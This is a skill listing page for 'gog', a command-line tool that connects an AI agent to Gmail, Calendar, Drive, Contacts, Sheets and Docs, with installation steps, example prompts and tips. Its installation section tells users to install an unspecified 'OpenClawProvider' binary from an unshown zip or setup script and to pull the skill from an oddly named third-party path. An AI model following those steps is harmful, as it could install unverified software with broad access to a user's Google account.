gog

What This Skill Does

The gog skill is a powerful command-line interface (CLI) for OpenClaw that serves as a unified gateway to the Google Workspace ecosystem. It empowers users to interact programmatically with Gmail, Google Calendar, Google Drive, Google Contacts, Google Sheets, and Google Docs directly from their terminal or via an AI agent. By abstracting complex OAuth flows and API request structures, gog provides a streamlined experience for searching, retrieving, updating, and managing data across your Google account.

Installation

Installation requires two parts: the OpenClawProvider and the skill package itself.

1. Prerequisites: Install the OpenClawProvider binary appropriate for your OS (Windows: .zip archive; MacOS: via the provided setup script).
2. Skill Installation: Run the command: clawhub install openclaw/skills/skills/sakaen736jih/gog-iezecg1.
3. OAuth Setup: You must provide your own client_secret.json. Execute gog auth credentials /path/to/client_secret.json followed by gog auth add [email protected] --services <list> to authorize the tool to interact with your specific Google services. Use gog auth list to verify your accounts.

Use Cases

This skill is designed for power users and automation engineers. Common use cases include: querying email archives to summarize support tickets, syncing local data into Google Sheets for reporting, managing Google Drive files, and performing quick lookups in Google Contacts. It is especially useful for developers who need to bridge local file systems with Google cloud storage or extract document content for downstream analysis without needing a heavy web browser.

Example Prompts

• "Search for emails from the last 3 days with the subject 'Invoice' and save the sender's email to my contacts."
• "Get the data from my 'Monthly Expenses' sheet, tab 'Q1', and summarize the total spending in column C."
• "Check my calendar for tomorrow and email me a summary of my appointments at 8:00 AM."

Tips & Limitations

• Efficiency: Always use the --json flag when building scripts to ensure machine-readable output.
• Environment Variables: Set the GOG_ACCOUNT environment variable in your terminal to save time by not typing the account flag repeatedly.
• Limitations: The skill is primarily read/append-focused. While it supports sheet updates, it does not support in-place edits of Google Docs (use export or cat to view data). Always review outgoing communications or calendar modifications before confirming, as these actions modify external data.